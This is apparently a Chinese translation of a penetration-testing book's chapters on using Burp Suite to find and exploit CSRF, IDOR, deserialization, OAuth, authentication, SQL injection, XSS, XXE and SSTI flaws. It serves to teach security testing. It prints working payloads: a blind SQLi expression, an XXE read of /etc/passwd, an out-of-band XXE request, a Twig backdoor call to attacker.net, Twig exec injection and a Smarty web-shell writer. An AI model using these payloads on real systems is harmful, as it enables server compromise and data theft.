要检测这种类型的漏洞,我们可以使用 Burp Suite 的扫描器,它将自动检测它们,或者在目标工具中应用过滤器以查找请求...
摘要
在本章中,我们了解了 Burp Suite 用于检测与输入验证弱点相关的最常见漏洞的工具。
大多数漏洞都是使用 Burp Suite 的扫描器检测到的,这是一种在渗透测试人员浏览应用程序时工作的主动扫描器。因此,它更具交互性,并且比其他扫描器具有更多的隐藏区域访问权限。然而,这些漏洞可以通过发送精心制作的请求并注意响应来检测。对于这项任务,Burp Suite 的 Intruder 工具是最有用的工具。
在下一章中,我们将寻找与输入验证无关的错误。
第七章:使用 Burp Suite 检测漏洞
正如我们在上一章中看到的,Burp Suite 对于识别不同类型的漏洞非常有用。在上一章中,大部分漏洞都是使用 Intruder 工具检测到的输入验证错误。在本章中,我们将检查与输入验证弱点无关的错误。
本章将涵盖以下主题:
-
检测 CSRF
-
检测不安全的直接对象引用
-
检测安全配置错误
-
检测不安全的反序列化
-
检测与 OAuth 相关的问题
-
检测破损的身份验证
检测 CSRF
跨站请求伪造(CSRF)是一种漏洞,允许恶意用户使用其他应用程序中存储的信息在应用程序中执行操作。例如,想象一下,您只使用一个网络登录到不同的应用程序,这是一个社交网络。如果您向其他站点发送请求,它们将应用更改或操作,因为它们正在使用您提供给中央应用程序的信息。
因此,恶意用户可以通过创建一个虚假表单或虚假 URL 来利用应用程序,在该应用程序中执行操作。这迫使用户在不知情的情况下执行应用程序。例如,看看这段 HTML 代码,其中隐藏了一个链接到<img>
标签中:
<img src="img/action" width="0" height="0">
一开始,你觉得没什么不同,它只是一个无害的 HTML 标记。但是当它被解析时,浏览器会获取标记指向的资源并执行 URL。因此,如果恶意用户隐藏了包含在此标记中的操作的 URL,例如更改密码,操作将被执行。
使用 Burp Suite 检测 CSRF
要检测 CSRF 漏洞,首先需要映射所有可能的授权操作。这是因为您需要测试每个操作,以发现是否可能使用存储的信息执行其中任何一个。要映射所有这些操作,您可以使用 Target 工具。
Burp Suite 使用不同类型的方法来映射应用程序。手动地,Burp Suite 可以以被动的方式收集所有请求、资源和 URL;但当然,它仅限于用户的范围。Burp Suite 还可以使用蜘蛛和爬行技术进行自动映射。
在下面的截图中,您可以看到 Burp Suite 正在创建一个应用程序树,其中包含所有操作。...
使用 Burp Suite 检测 CSRF 的步骤
当然,Burp Suite 扫描程序能够检测 CSRF 缺陷,但可能会使用参数信息调用函数。为了更可靠地检测,我们将使用代理工具和名为 CSRF 扫描程序的扩展。
- 要安装 CSRF 扫描程序,请转到 Burp Suite 的 Extender 选项卡,并在 BApp Store 中查找 CSRF Scanner,然后单击安装,如下所示:
- 安装后,Burp Suite 将显示一个新选项卡,显示该工具,如下所示:
- 要检测 CSRF,请进入我们认为存在漏洞的应用程序,并使用拦截按钮拦截请求。请记住,对于所有 CSRF 漏洞,您需要登录或建立会话。右键单击“Engagement tools”,然后生成 CSRF PoC。将打开一个新窗口,其中包含使用请求中公开的数据生成的 HTML 表单,如下所示:
- 验证所有参数是否包含在表单中,然后将其复制到记事本或其他文本编辑器中,并将其保存为 HTML 文件。然后在 Web 浏览器中打开它。你将只看到一个空白网站和一个按钮,如下所示:
- 单击“提交请求”,表单将被发送到网站。由于这是一个概念验证(PoC),页面是故意留空的,但如果需要创建一个更真实的页面,只需将表单添加到页面中。如果操作被执行,该 URL 就容易受到 CSRF 攻击。
最后一个提示是,如果发现应用程序使用了反 CSRF 令牌,请尝试检测漏洞,因为有时开发人员会忘记为所有功能使用令牌,可能会找到一个有漏洞的功能。
检测不安全的直接对象引用
当参数获得对某个资源的访问权限时,就会出现不安全的直接对象引用(IDOR)漏洞。通过修改此参数,可以访问未经授权的其他资源。通常受影响的参数用作应用程序流程的控制,例如命名为id
、uid
、r
、url
、ur
等。
可以使用 Burp Suite 中的“目标”工具来检测这些漏洞。与 CSRF 检测类似,您检测到的 URL 越多,发现漏洞的可能性就越大:
-
将目标添加到范围中,转到 Burp Suite,并使用鼠标的辅助按钮,单击“添加到范围”选项。
-
然后转到...
检测安全配置
安全配置是相对的。在这个类别中,引入了很多可能的错误,使用 Burp Suite 检测它们的最简单和准确的方法是通过扫描器。
- 打开 Burp Suite,当主仪表板显示时,单击“新扫描”。在这里可以定义要扫描的 URL 和一些选项,比如登录应用程序的凭据,如下面的屏幕截图所示:
- 测试按类别分类。扫描完成后,我们可以看到一些与安全配置有关的问题,如下面的屏幕截图所示:
正如我们所看到的,有一些问题,比如未加密通信或明文提交密码,我们无法通过分析请求来检测,但扫描器标记了一个问题。
让我们回顾一些常见的安全配置错误,我们将在接下来的章节中详细讨论。
未加密通信和明文协议
有一个常见的问题,大多数开发人员和系统管理员没有考虑到;即未加密通信渠道的使用。有些协议以明文形式发送信息,如果恶意用户拦截网络中的流量(这相对容易),则可以查看所有信息,无论其是否敏感。这个问题通常被忽视,因为 Web 应用程序是公开的;但请记住,其中一些是内部的,也可以从公共网络访问。
默认凭据
另一个重要问题是可以用来完全控制托管应用程序的服务器的默认凭据。许多 Web 服务器、邮件服务器、数据库服务器、CMS、电子商务工具等在安装时都设有默认密码。对于恶意用户来说,访问这些服务和应用程序是非常容易的。
无人值守安装
有时,当系统管理员安装软件时,该软件会附带其他软件包,用于测试目的或作为主要软件的一部分。重要的是要对这些安装进行清单,以便禁止访问或删除,如果可能的话。恶意用户可以发现这些未经监控的安装,并利用它们的漏洞。
测试信息
一些应用程序和软件包具有测试信息,如果激活,可能会为恶意用户提供访问权限。例如,一个常见的情况是 Oracle DBMS,它有一个用于测试目的的数据库,其中有一个名为tiger
的数据库管理员,密码为scott
。
默认页面
应用程序,主要是 Web 服务器,具有默认页面,可能会被恶意用户检测到并作为横幅抓取。
尽管 Burp Suite 扫描器在检测这种问题方面很有用,但我建议使用专注于基础设施的漏洞扫描器,例如 Nessus、Qualys、Outpost24、OpenVAS 等。
检测不安全的反序列化
反序列化是将某种类型的数据传递给其他数据,由应用程序进行管理的过程,例如,传递一个 JSON 格式的请求,由应用程序解析并以 XML 格式进行管理。此外,还存在涉及开发中使用的技术的反序列化漏洞。这些漏洞将某种类型的资源传递给二进制对象。
要了解漏洞,请查看下面的代码片段,发布在 CVE.2011-2092 中:
[RemoteClass(alias="javax.swing.JFrame")]
public class JFrame {
public var title:String = "Gotcha!";
public var defaultCloseOperation:int = 3;
public var visible:Boolean = true;
}
这段代码是称为JFrame的数据类型的类定义。在下面的代码片段中,我们可以看到它是如何使用的:
InputStream is = request.getInputStream();
ObjectInputStream ois = new ObjectInputStream(is);
AcmeObject acme = (AcmeObject)ois.readObject();
问题在于任何类型的数据都可以输入到属性中,因为它们没有经过验证,如下面的代码行所示:
Set root = new HashSet();
Set s1 = root;
Set s2 = new HashSet();
for (int i = 0; i < 100; i++) {
Set t1 = new HashSet();
Set t2 = new HashSet();
t1.add("foo"); // make it not equal to t2
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
漏洞源于拒绝服务,因此应用程序无法管理输入。这是一种不安全的反序列化漏洞。
Java Deserialization Scanner
Java Deserialization Scanner 是 Burp Suite 的一个扩展,用于检测以下问题:
-
Apache common collections 3 和 4
-
Spring
-
Java 6、7 和 8
-
Hibernate
-
JSON
-
Rome
-
BeanUtils
- 要获得它,转到
Extender
工具,单击 BApp Store,然后安装包。安装完成后,Burp Suite 将在界面上显示一个新选项卡,显示工具如下:
- 单击“配置”选项卡,然后我们可以看到插件中激活的扫描:
- 现在,要测试一个...
检测与 OAuth 相关的问题
OAuth 是一种开放标准,允许在不同应用程序之间共享授权信息,而不共享用户身份。这是 Facebook、Google、Twitter、Plurk 等当前使用的标准。
与 OAuth 相关的最常见问题如下:
-
不安全的存储机密信息:OAuth 是存储在客户端的信息。如果应用程序没有以正确的方式存储 OAuth 信息,它会暴露给多个应用程序的访问权限。
-
缺乏保密性:OAuth 是一种协议,可以将认证信息与多个应用程序共享,但是,如果与错误的应用程序共享会发生什么呢?嗯,它可能会被其他应用程序重用以窃取用户的访问权限。
-
URL 重定向:如果应用程序存在允许重定向的漏洞,恶意用户可以窃取 OAuth 信息。
检测 SSO 协议
有一个名为EsPReSSO的扩展,可以在 BApp Store 中找到,它可以检测应用程序使用的 SSO 协议并对其进行分类。检测到的协议如下:
-
OpenID
-
BrowserID
-
SAML
-
OAuth
-
OpenID-Connect
-
Facebook Connect
-
Microsoft Account
安装 EsPReSSO 后,当 Burp Suite 检测到 SSO 协议的使用时,它将被标记,并且您可以单击它将其发送到 EsPReSSO 工具以分析它是何种协议,如下面的截图所示:
使用 Burp Suite 检测 OAuth 问题
与 OAuth 相关的问题是如此不同,我们将在以下部分分析其中一些。
重定向
打开 Burp Suite,并使用代理工具,检测应用程序中可能的重定向。例如,想象一下,你有一个可以使用社交网络访问的应用程序。这个应用程序有以下 URL:
www.site.tv
拦截请求,并将标头中的 URL 修改为以下内容:
attacker.com/www.site.tv
社交网络只验证字符串site.tv,并信任应用程序。这是一个漏洞。
不安全的存储
Burp Suite 可以检测是否通过不受信任的渠道发送了敏感信息;如果 OAuth 令牌通过明文协议或未加密的渠道发送,它可能会被拦截和重用。
OAuth 问题非常具体,但是考虑到前面提到的问题,可以检测到这些弱点。
检测破损的身份验证
破损的身份验证是影响应用程序的一组问题。其中一些列在这里:
-
凭证的弱存储
-
可预测的登录凭证
-
会话 ID 暴露在 URL 中
-
会话 ID 容易受到会话固定攻击的影响
-
错误的超时实现
-
会话在注销后没有被销毁
-
通过不受保护的渠道发送的敏感信息
我们将解释如何使用 Burp Suite 检测这些问题。
检测凭证的弱存储
关于身份验证的信息存在一个大问题;它不仅存储在服务器端,还需要存储在客户端,也许不是以用户名和密码的形式,而是以令牌、会话 ID 或应用程序用于跟踪用户和提供访问的其他形式。
使用 Burp Suite,可以分析这些信息存储在哪里。例如,将信息存储在 cookie 中是非常常见的,如下面的截图所示:
这是基本身份验证的一个例子,这是内部应用程序常用的身份验证方法。这种方法的一个大问题是,它将凭证以 base64 形式存储到标头中,因此任何有权访问标头的人都可以获取密码,并将其解码为明文。
这不是唯一的问题;还有一些应用程序直接存储凭证。例如,看下面的请求:
POST /userinfo.php HTTP/1.1
Host: testphp.vulnweb.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://testphp.vulnweb.com/login.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Connection: close
Cookie: admin:admin
Upgrade-Insecure-Requests: 1
id=1
在这里,我们可以直接看到每个客户端请求发送到应用程序的凭证。
还有其他安全的地方可以存储凭证。例如,在移动应用程序的情况下,通常使用内部或外部设备存储中的文件,这些文件由应用程序读取。
关键是要使用代理工具理解应用程序的流程,以确定应用程序如何接收凭证以及工具对其进行了什么操作,使用了什么方法,它们存储在哪里,是否被重用,以及应用程序用于跟踪用户的什么类型的令牌或跟踪 ID。
检测可预测的登录凭证
一些应用程序使用可预测的登录,这意味着恶意用户可以猜测下一个或上一个已注册的用户名。例如,想象一下,一个在线银行使用账号作为其应用程序的用户名;恶意用户可以创建一个可能的账号列表,这些账号大多是连续的,以猜测用户名。
检测这种漏洞的一个很好的工具是 Intruder,它在 Payloads 部分,并有一个创建连续列表的选项,如下面的截图所示:
此外,还可以创建连续的日期,甚至...
会话 ID 暴露在 URL 中
这不是一个很常见的问题,但过去有很多应用程序在 URL 中添加会话 ID。例如,看下面的截图:
一旦检测到用于存储会话 ID 的变量,就可以应用过滤器来检测 URL 中的所有会话。
看下一张截图。在这里,扫描器检测到了一个令牌,Burp Suite 列出了所有暴露的令牌:
会话 ID 容易受到会话固定攻击的影响
当应用程序只使用一个 ID 来跟踪会话时的主要问题是,这个 ID 可以被用来窃取会话。例如,如果你使用 Burp Suite 代理工具,你可以拦截发送会话 ID 的请求。这个会话 ID 只为一个用户创建。例如,看下面的请求:
GET /login.php HTTP/1.1
Host: 192.168.1.67
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: HPSESSID=784uaocq9lb6uthqcc259imks1
Upgrade-Insecure-Requests: 1
现在,使用另一个...
超时实施
要检测这个问题,你不需要使用 Burp Suite 这样的工具;只需打开应用程序,登录,并等待知道自动关闭会话需要多长时间。像在线银行这样的应用程序需要按照合规要求在一定时间内关闭会话。
在一段时间后关闭会话是一个好主意;在用户窃取了会话的情况下,可以减少对应用程序的影响。
在注销后会话没有被销毁
要检查应用程序是否正确关闭了会话,使用 Burp Suite 打开应用程序,然后使用有效的凭据登录应用程序:
- 如你从以下截图中所见,应用程序创建了一个作为访客用户使用的会话:
-
现在,访问应用程序,你会发现应用程序现在创建了一个新的会话作为已登录用户。
-
关闭会话,如下所示:
- 如果应用程序正确销毁了会话,就不可能重新发送请求。前往...
总结
在本章中,我们回顾了如何检测特定的漏洞。在上一章中,通过检测模式来检测漏洞,而在这种情况下,漏洞需要更多关于应用程序流程的理解。
本章中解释的缺陷可以用来获取敏感信息,突破授权和认证,并成为更大妥协的一部分。在下一章中,我们将利用 Burp 工具和扩展来利用不同类型的漏洞。
第八章:利用 Burp Suite 进行漏洞利用-第 1 部分
Burp Suite 是一个优秀的工具,用于检测漏洞。正如我们在之前的章节中所看到的,它有各种各样的工具和选项,当然还有扩展,可以帮助我们在查找应用程序中的漏洞时更加准确和高效。然而,Burp Suite 也有选项来帮助我们利用漏洞,生成关于利用的证据,并在需要时重现利用。
在本章中,我们将检查如何利用 Burp Suite 的选项以及在某些情况下使用工具和扩展来利用不同类型的漏洞。本章将涵盖以下主题:
- 通过盲布尔型基于布尔的数据泄露...
通过盲布尔型基于布尔的 SQL 注入进行数据泄露
SQL 注入是基于输入验证错误的漏洞,允许恶意用户将意外的 SQL 语句插入应用程序以执行不同的操作。例如,提取信息,删除数据或修改原始语句。
有三种类型的 SQL 注入,如下所示:
-
带内 SQL 注入:这种类型的 SQL 注入具有可以使用发送语句的相同通道进行分析的特点。这意味着由数据库管理系统(DBMS)生成的响应是在相同的分析应用程序中接收的。
-
推断性:这种类型的 SQL 注入与前一种不同,因为在应用程序的响应中无法看到错误或结果。我们需要推断应用程序后端发生了什么,或者使用外部通道获取信息。同时,推断性 SQL 注入进一步分为两种类型:
-
基于布尔的盲 SQL 注入:在这种类型的 SQL 注入中,语句集中于改变应用程序中的布尔值以获得不同的响应。即使 SQL 注入结果没有直接显示,HTTP 响应内容也可能会改变以推断结果。
-
基于时间的盲 SQL 注入:这种推断性 SQL 注入取决于数据库服务器生成响应所经过的时间。通过时间变化,可以推断 SQL 注入是否成功。为此,恶意用户插入包含在 DBMS 中的函数,以确定后端发生了什么。
-
盲注 SQL 注入:在这种类型的 SQL 注入中,不可能使用相同的通道来查看错误响应或直接推断结果。因此,我们需要使用外部通道来知道 SQL 注入是否成功。例如,使用第二个数据存储来接收结果,比如使用 DNS 解析来推断请求中经过的时间,这是在应用程序中无法看到的。
我们将看到如何使用 Burp Suite 来利用基于布尔的 SQL 注入漏洞。
漏洞
分析以下 PHP 代码片段:
ini_set('display_errors', 0);
$connection = $GLOBALS['connection'];
$id = ($_POST['id']);
$query_statement = "SELECT * from polls where id = ".$id;
$result = $conection->query($query_statement);
if ($result->num_rows > 0 ){
while($row = $result->fetch_assoc()){
echo "<p class=''>Thank you for your response!</p>";
}
}
这段代码使用$id
变量,这是一个数字,将信息传递给直接在数据库中执行的查询中的SELECT
语句。$id
变量用于WHERE
表达式,以查找用户传递的确切$id
变量,并根据变量$id
中的数字仅显示过滤后的信息。
关于最重要的事情...
利用
假设这个数据库只有 10 条记录,所以如果用户将数字1
作为值传递给$id
变量,应用程序将返回第一条记录。当用户输入数字10
时,应用程序将返回最后一条记录。然而,当用户输入值11
时,应用程序没有记录可以显示,但它也不显示任何错误来解释为什么不显示任何内容,因为没有更多内容可以显示。输出什么也不做。
由于应用程序未验证输入到$id
变量的值,用户可以输入任何类型的信息。例如,'1
或1=1--
字符串,这是用于检测 SQL 注入漏洞的常见字符串。但是,正如我们所说,应用程序不会显示错误。
忘记应用程序不显示错误,为什么可以输入'1
或1=1--
这样的字符串?我们将在这里给出的流程中看到:
-
当用户输入
'1
或1=1--
字符串时,这个字符串被转换为一个真值,应用程序将其解释为数字1
,因此应用程序返回第一个注册。 -
如果我们传递一个超出 1 到 10 的值会发生什么?如果我们将数字
11
传递给$id
变量,WHERE
条件将尝试查找第 11 个注册,但由于缺少,$query_statement
变量将不会有一个存储在其中的注册。当 PHP 代码中的以下if
语句验证存储在$query_statement
变量中的注册时,应用程序将失败。 -
我们知道,当应用程序接收到 1 到 10 之间的数字时,应用程序将工作;而且,我们知道当结果是 1 到 10 之间的数字时,我们可以传递任意语句。牢记这一点,如果我们传递
11-1
值是有效的。 -
11-1的结果是10;因此,当
WHERE
条件验证$id
值时,它将有一个数字10
,因此应用程序将显示最后一个值。这是利用此漏洞的关键!
现在,使用更复杂的语句,如下:
11-(select case when '0'='0' then 1 else 0 end)
这个声明产生了最终的数字10
作为值传递给$id
;现在,还要考虑以下声明:
11- (select case when 'a'=(substring((select 'abcd'),1,1)) then 1 else 0 end)
前面的声明产生了相同的结果。因此,两者都可以被接受,由后端执行而不显示结果。此外,如果我们生成一个被执行的语句,但最终值不是 1 到 10,错误将不会显示。
有了这个声明作为基础,我们可以使用 Burp Suite 在以下部分执行数据外泄。
使用 Burp Suite 进行数据外泄
执行以下步骤使用 Burp Suite 执行数据外泄:
- 首先,配置 Burp Suite 以拦截应用程序发出的请求,并在发送
$id
值的请求时停止,使用代理选项卡中的拦截打开
选项,如下面的屏幕截图所示:
- 请求停止后,右键单击它,然后选择发送到入侵者选项,如下所示:
默认情况下,Burp Suite 为请求中检测到的每个变量创建通配符,并创建值...
使用 SQL 注入执行操作系统命令
SQL 注入攻击最严重的影响之一是在操作系统级别执行命令。大多数情况下,如果用户执行系统命令,这将导致整个服务器和应用程序被攻破。
漏洞
SQL 注入中的命令注入漏洞通常发生是因为 DBMS 具有存储过程或允许的本地选项,直接与操作系统交互。例如,在 SQL Server 上的xp_cmdshell
,或者为 Oracle 开发的特殊存储过程。
在某些情况下,应用程序还可能存储通过查询提取并执行的数据库字符串;因此,如果我们可以更新数据库,我们可以向服务器注入命令。但是,正如我提到的,这不是常见情况。
一旦我们发现与命令注入相关的漏洞,我们可以使用 Burp Suite 来利用它。例如,让我们检查应用程序的以下请求:
这个请求是...
执行带外命令注入
正如我们已经多次提到的那样,Burp Suite 最重要的功能是自动化能力。正如我们将在本书的后面探讨的那样,我们可以创建自己的插件来扩展 Burp Suite,或者我们可以找到社区制作的许多扩展。
有一个名为SHELLING的扩展,专注于为命令注入攻击创建有效负载列表。我们将在下一节更仔细地研究这个问题。
SHELLING
SHELLING 是一个在 BApps Store 中不可用的插件,因此您需要转到 GitHub 获取它github.com/ewilded/shelling
。下载.jar
文件并使用 Burp Suite 中的 Extender 选项安装它:
- 要做到这一点,点击 Extender 选项卡,然后点击手动安装按钮。Burp Suite 将启动一个窗口来选择
.jar
文件。因为 SHELLING 不是官方扩展的一部分,Burp Suite 将启动以下警告消息以确认您是否要安装它:
- 安装完成后,您在 Burp Suite 实例上看不到任何不同之处。这是因为 SHELLING 不会修改...
利用 XSS 窃取会话凭据
XSS 是一种可以用于许多目的的漏洞。它会弹出一个消息框,以控制受 XSS 影响的计算机。常见的攻击是利用 XSS 窃取凭据或会话。
利用漏洞
想象一下,我们有以下易受攻击的请求,其中name
参数容易受到 XSS 攻击:
GET /dvwa/vulnerabilities/xss_r/?name=cosa HTTP/1.1
Host: 192.168.1.72
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.72/dvwa/vulnerabilities/xss_r/
Connection: close
Cookie: security=low; PHPSESSID=3nradmnli4kg61llf291t9ktn1
Upgrade-Insecure-Requests: 1
您可以使用 Burp Suite 的代理捕获它,并使用常见的测试字符串修改参数的值,如下所示:
<script>alert(1)</script>
退出拦截...
利用 XSS 控制用户的浏览器
正如我之前提到的,XSS 的最大影响可能是控制受影响的用户。
这基本上取决于 Web 浏览器允许使用 JavaScript 或其他客户端交互执行操作的操作方式,这些操作方式可以通过 XSS 由恶意用户传递。实际上,不需要直接执行 JavaScript。例如,可以在 Internet Explorer 中利用 XSS 执行 ActiveX 控件,如下所示:
<script>
var o=new ActiveXObject("WScript.shell");
o.Run("program.exe")
</script>
此代码将在远程计算机中启动另一个程序,因此可以在客户端执行任何类型的攻击。
利用 XXE 漏洞提取服务器文件
XXE 是一种影响解析 XML 并在解析具有对 XXE 的引用时出现错误的应用程序的漏洞。
利用漏洞
想象一下,我们有一个容易受到 XXE 漏洞影响的应用程序,其中我们有一个易受攻击的请求,如下面的屏幕截图所示:
在这里,xml
参数容易受到 XXE 的影响,如下面的块所示:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
这意味着这是一个接受 XML 作为输入的请求。因此,我们将使用 Burp Suite 的代理修改输入,以查看应用程序是否接受我们的测试字符串。为此,我们将使用以下输入:
<!DOCTYPE foo [ <!ELEMENT ANY> <!ENTITY bar "cosa"> <!ENTITY barxee "&bar; XEE" > ]> <foo> &barxee; </foo>
如果被接受,应用程序将显示我们在 XML 输入中传递的消息。因此,使用此输入修改xml
参数,并点击拦截以发送请求。结果将显示在 HTML 网站中,如下所示:
</div>
<div class="container">
Hello
cosa
<footer>
<p>&copy; PentesterLab 2013</p>
</footer>
现在,我们知道漏洞是可利用的,所以我们将发送一个字符串来从服务器中提取文件。要使用 XXE 攻击提取文件,我们需要更多关于托管应用程序的服务器的信息,至少是操作系统。使用响应中包含的标头,可以知道操作系统是什么,如下所示:
HTTP/1.1 200 OK
Date: Sat, 16 Feb 2019 21:17:10 GMT
Server: Apache/2.2.16 (Debian)
X-Powered-By: PHP/5.3.3-7+squeeze15
X-XSS-Protection: 0
Vary: Accept-Encoding
Content-Length: 1895
Connection: close
Content-Type: text/html
X-Pad: avoid browser bug
如果您怀疑,可以使用网络工具(如 Nmap (www.nmap.org))来确认,此标头可能会被系统管理员修改。
在这种情况下,服务器是 Debian Linux。因此,我们需要使用符合类 Unix 文件系统的测试字符串进行攻击,如下所示:
<!DOCTYPE foo [<!ENTITY bar SYSTEM "file:///etc/passwd">]> <foo>&bar;</foo>
使用这个,我们将检索/etc/passwd
文件,在某些情况下,它们作为密码哈希值存储在 Linux 系统中。因此,将原始请求发送到 Repeater 工具,使用此字符串修改xml
参数,并单击“Go”,如下截图所示:
目前,并非所有的 Linux 系统都使用/etc/passwd
文件来存储哈希值;过去,作为渗透测试人员,呈现类似前面的截图是展示漏洞风险的完美证据。然而,如今有很多 Linux 系统将它们的哈希值存储在/etc/shadow
中,该文件是加密的,或者在许多情况下,限制了服务器用户对文件系统的访问。
根据应用程序的上下文,您需要确定要提取哪些文件。例如,作为提示,从 Web 服务器的根目录中提取文件非常有用,以便访问源代码。
使用 XXE 和 Burp Suite collaborator 执行过时数据提取
Burp Suite collaborator 是一个用于检测漏洞的服务,主要是当应用程序尝试与外部服务进行交互时。Burp Suite 分析与外部系统的交互并检测异常行为。为了分析应用程序,Burp Suite collaborator 向应用程序发送输入或有效载荷,并等待响应。
因此,在这种情况下,Burp Suite 正在工作一个服务器,应用程序使用常见服务进行交互,如 DNS、SMTP 或 HTTP。
使用 Burp Suite 来利用漏洞
在主仪表板选项卡中打开 Burp Suite,单击“新扫描”选项,如下截图所示。请记住,这些选项仅在 Burp Suite 专业版中可用,而不在社区版中可用:
当您使用扫描器 Burp Suite 测试应用程序的漏洞时,您可以修改有关扫描器工作方式的选项,并配置用于自动登录的凭据。这对于大多数应用程序来说非常重要,因为它们大多数都有身份验证控制。为了利用 XXE,我们将对我们拥有的 URL 进行简单的扫描。单击“确定”按钮后,扫描开始。
当扫描完成时,Burp Suite 将在 URL 中显示检测到的 XXE,如下截图所示:
在上述列表中,我们可以看到一些包含短语“External service interaction”的问题,后面跟着使用的协议。如果我们选择其中一个问题,Burp Suite 将显示一个名为 Collaborator interaction 的新选项卡,如下截图所示:
Burp Suite collaborator 允许用户配置自己的服务器,但如果您没有配置一个,collaborator 将默认使用 Portswigger 的服务器。通过分析请求,我们可以检测到 collaborator 发送了以下参数:
GET /xml/example1.php?xml=%3c!DOCTYPE%20test%20[%3c!ENTITY%20%25%20j27pf%20SYSTEM%20%22http%3a%2f%2fdgxknwuc7fqeysa0w53lpzt2wt2mqceb22psdh.burpcollaborator.net%22%3e%25j27pf%3b%20]%3e%3ctest%3ehacker%3c%2ftest%3e HTTP/1.1
Host: 192.168.1.66
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US,en-GB;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Connection: close
Cache-Control: max-age=0
响应如下:
<div class="container">
Hello
Warning: simplexml_load_string(): http://dgxknwuc7fqeysa0w53lpzt2wt2mqceb22psdh.burpcollaborator.net:1: parser error : internal error in /var/www/xml/example1.php on line 4
Warning: simplexml_load_string(): <html><body>zz4z85vbr0640exz8e6wvvzjlgigrgjfigz</body></html> in /var/www/xml/example1.php on line 4
Warning: simplexml_load_string(): ^ in /var/www/xml/example1.php on line 4
Warning: simplexml_load_string(): http://dgxknwuc7fqeysa0w53lpzt2wt2mqceb22psdh.burpcollaborator.net:1: parser error : DOCTYPE improperly terminated in /var/www/xml/example1.php on line 4
Warning: simplexml_load_string(): <html><body>zz4z85vbr0640exz8e6wvvzjlgigrgjfigz</body></html> in /var/www/xml/example1.php on line 4
Warning: simplexml_load_string(): ^ in /var/www/xml/example1.php on line 4
Warning: simplexml_load_string(): http://dgxknwuc7fqeysa0w53lpzt2wt2mqceb22psdh.burpcollaborator.net:1: parser error : Start tag expected, '<' not found in /var/www/xml/example1.php on line 4
Warning: simplexml_load_string(): <html><body>zz4z85vbr0640exz8e6wvvzjlgigrgjfigz</body></html> in /var/www/xml/example1.php on line 4
Warning: simplexml_load_string(): ^ in /var/www/xml/example1.php on line 4
<footer>
<p>&copy; PentesterLab 2013</p>
</footer>
collaborator 使用一个字符串来识别漏洞。如果我们审查 collaborator 的请求和响应,而不是 HTTP 请求,它是不同的。我们可以看到使用的字符串如下:
阅读响应中的 HTML 代码,我们可以找到以下字符串:
Warning: simplexml_load_string(): <html><body>zz4z85vbr0640exz8e6wvvzjlgigrgjfigz</body></html> in /var/www/xml/example1.php on line 4
利用 SSTI 漏洞执行服务器命令
SSTI 是一种漏洞,当应用程序使用框架来显示其呈现给用户的方式时发生。这些模板是输入,如果这些输入没有得到正确验证,它们可能会改变行为。
这些漏洞在很大程度上取决于开发人员用来创建应用程序的技术,因此并非所有情况都相同,作为渗透测试人员,您需要识别这些差异以及其对漏洞利用的影响。
使用 Burp Suite 来利用这个漏洞
假设您有一个易受 SSTI 攻击的应用程序正在使用 Twig。Twig (twig.symfony.com/
) 是一个在 PHP 中开发的模板引擎。
我们可以通过源代码检测引擎的使用。考虑以下代码片段:
var greet = 'Hello $name';
<ul>
<% for(var i=0; i<data.length; i++)
{%>
<li><%= data[i] %></li>
<% }
%>
</ul>
<div>
<p> Welcome, {{ username }} </p>
</div>
在这里,我们可以看到应用程序正在等待数据以向用户呈现最终网站。当 PHP 读取模板时,它会执行其中包含的所有内容。例如,2015 年,James Kettle 发布了一个漏洞,允许使用以下字符串在 Twig 中注入后门:
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
遵循相同的思路,可以使用以下字符串执行任何命令,甚至获取 shell:
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
uid=1000(k) gid=1000(k) groups=1000(k),10(wheel)
这是因为在代码中,可以注入任何 PHP 函数,而不需要验证。Kettle 在源代码中展示了漏洞,如下所示:
public function getFilter($name){
[snip]
foreach ($this->filterCallbacks as $callback) {
if (false !== $filter = call_user_func($callback, $name)) {
return $filter;
}
}
return false;
}
public function registerUndefinedFilterCallback($callable){
$this->filterCallbacks[] = $callable;
}
基本上,该代码接受任何类型的 PHP 函数,因此,在字符串中,Kettle 输入了exec()
函数来直接向服务器执行命令。
Twig 并不是唯一存在问题的引擎。Kettle 研究的其他引擎包括 Smarty,另一个 PHP 引擎,理论上不允许直接使用system()
函数。然而,Kettle 发现它允许调用其他类中的方法。
易受攻击的代码片段如下截图所示:
在这段代码片段中,我们可以看到getStreamVariable()
方法可能容易读取任何文件,具体取决于服务器权限。此外,我们还可以调用其他方法。
因此,为了在服务器上执行命令,Kettle 向我们展示了以下测试字符串:
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?
>",self::clearConfig())}
我们可以在$_GET
变量中添加命令。
在 Burp Suite 中,我们可以将这些测试字符串添加到不同模板引擎的列表中,然后使用 Intruder 工具中的负载选项发动攻击,如下面的截图所示:
总结
在本章中,我们学习了 Burp Suite 用于利用不同类型漏洞的常规工具。特别是,我们探讨了盲 SQL 注入、OS 命令注入、利用 XSS、利用 XSS 窃取会话、利用 XSS 控制 Web 浏览器、利用 XXE、利用 XXE 从服务器提取文件以及通过模板引擎利用 SSTI。
